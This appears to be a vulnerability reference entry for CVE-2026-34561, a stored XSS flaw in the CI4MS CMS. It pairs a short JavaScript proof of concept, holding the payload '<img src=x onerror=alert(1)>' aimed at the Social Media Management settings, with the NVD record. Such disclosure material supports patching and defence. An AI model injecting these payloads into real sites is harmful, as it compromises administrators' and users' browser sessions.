CVE-2026-34561

// Proof of Concept for CVE-2026-34561 // Target: CI4MS < 0.31.0.0 // Description: Stored XSS in System Settings -> Social Media Management // Malicious payload designed to execute JavaScript when the settings page is viewed let payload = '<img src=x onerror=alert(1)>'; // Step 1: Attacker injects payload into the vulnerable field (e.g., Social Media Name) // via the backend configuration interface. let vulnerableData = { social_media_name: payload, social_media_link: "http://attacker-controlled.com" }; // Step 2: The server saves the payload to the database without sanitization. // Step 3: When an admin or user views the settings page, the payload is rendered. // Result: The JavaScript alert(1) executes in the victim's browser context. console.log("Injection payload prepared: " + vulnerableData.social_media_name);

{"cve": {"id": "CVE-2026-34561", "sourceIdentifier": "[email protected]", "published": "2026-04-01T22:16:19.490", "lastModified": "2026-04-13T17:56:09.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input within System Settings – Social Media Management. Multiple configuration fields, including Social Media and Social Media Link, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. This issue has been patched in version 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gcfj-cf7j-vwgj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}